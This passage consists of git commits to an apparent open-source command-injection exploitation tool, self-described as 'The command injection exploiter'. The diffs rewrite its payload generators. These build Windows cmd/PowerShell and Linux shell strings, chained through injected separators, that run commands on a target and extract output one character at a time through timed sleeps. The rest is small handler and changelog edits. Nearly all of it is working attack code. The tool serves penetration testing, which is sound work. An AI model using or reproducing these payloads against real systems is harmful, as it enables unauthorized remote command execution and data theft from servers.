) #if menu.options.data: @@ -472,7 +460,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) else: pass - + # return payload """ @@ -481,29 +469,27 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" ) else: if separator == ";" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -513,7 +499,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -524,9 +510,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -535,7 +521,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: @@ -556,25 +542,23 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " - # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -601,9 +585,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "sleep 0" + separator + + "sleep 0" + separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) #if menu.options.data: @@ -617,6 +601,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) else: pass + return payload @@ -626,29 +611,27 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator == "||" : + if separator == "||" or separator == "|" : pipe = "|" - payload = (pipe + " " + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + "" + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" ) else: if separator == ";" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -658,7 +641,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + @@ -669,9 +652,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: @@ -680,7 +663,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e08bbaea8f..50bd7279f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 559db1e64b0987dd7b073c14ef5a9a2d3215ef47 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Jun 2022 08:57:18 +0300 Subject: [PATCH 169/560] Improvements regarding Windows-based payloads for every supported technique. --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_file_access.py | 3 +- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_payloads.py | 40 +++++++++++-------- .../techniques/classic/cb_payloads.py | 10 ++--- .../techniques/eval_based/eb_payloads.py | 8 ++-- .../techniques/file_based/fb_payloads.py | 6 +-- .../tempfile_based/tfb_file_access.py | 3 +- .../techniques/tempfile_based/tfb_handler.py | 2 +- src/core/requests/requests.py | 4 +- src/utils/settings.py | 10 +++-- 11 files changed, 51 insertions(+), 38 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e0f40c072b..eb600e96ab 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 6f42db0d7e..07506097cd 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,6 +35,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": + _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] cmd = checks.change_dir(dest_to_write) @@ -53,7 +54,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0 and not _: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index f3b277efef..d7c23e6ad6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -210,7 +210,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) while True: message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 3af148ca52..fe5ab555d6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,8 +26,9 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" @@ -96,8 +97,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -177,8 +179,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -252,8 +255,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + @@ -330,8 +334,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" @@ -415,8 +420,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + @@ -492,8 +498,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + @@ -559,8 +566,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "|" : - payload = (separator + settings.SINGLE_WHITESPACE + + if separator == "||" or separator == "|" : + pipe = "|" + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 038538e68b..fa7e60c0c9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + TAG + TAG + " Date: Sat, 25 Jun 2022 12:13:19 +0300 Subject: [PATCH 170/560] Minor fixes / updates --- .../blind/techniques/time_based/tb_handler.py | 16 ++++++------ .../techniques/time_based/tb_injector.py | 15 +++++++---- .../techniques/time_based/tb_payloads.py | 24 ++++++++--------- src/core/injections/controller/checks.py | 26 +++++++++++++------ .../techniques/file_based/fb_handler.py | 12 +++------ .../techniques/tempfile_based/tfb_handler.py | 16 ++++++------ .../techniques/tempfile_based/tfb_injector.py | 16 +++++++----- .../techniques/tempfile_based/tfb_payloads.py | 24 ++++++++--------- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 10 files changed, 84 insertions(+), 69 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d7c23e6ad6..b363373d80 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -208,11 +208,11 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Identified false positive warning message. if false_positive_warning: - warn_msg = "Unexpected time delays have been identified due to unstable " - warn_msg += "requests. This behavior may lead to false-positive results.\n" - sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg)) + message = "Unexpected time delays have been identified due to unstable " + message += "requests. This behavior may lead to false-positive results. " + sys.stdout.write("\r") while True: - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -288,10 +288,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + # if settings.VERBOSITY_LEVEL == 0: + # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + # sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + # sys.stdout.flush() except (KeyboardInterrupt, SystemExit): print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index bfcf1dbdfb..2a6b4056ed 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -368,7 +368,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese timesec = timesec + random.randint(1, 5) # Checking the output length of the used payload. + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") for output_length in range(1, 3): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) @@ -432,7 +436,8 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 20): - + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(".") if alter_shell: # Get the execution output, of shell execution. payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) @@ -491,12 +496,12 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): + if settings.VERBOSITY_LEVEL == 0: + sys.stdout.write(" (done)") return how_long, output + else: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "False positive or unexploitable injection point detected." - print(settings.print_warning_msg(warn_msg)) + checks.unexploitable_point() """ diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index fe5ab555d6..fd7a9446cb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,12 +26,12 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : @@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -97,7 +97,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -179,13 +179,13 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) elif separator == "&&" : @@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + - "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\"" ) else: @@ -255,7 +255,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -334,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" or separator == "|" : + if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -420,7 +420,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + 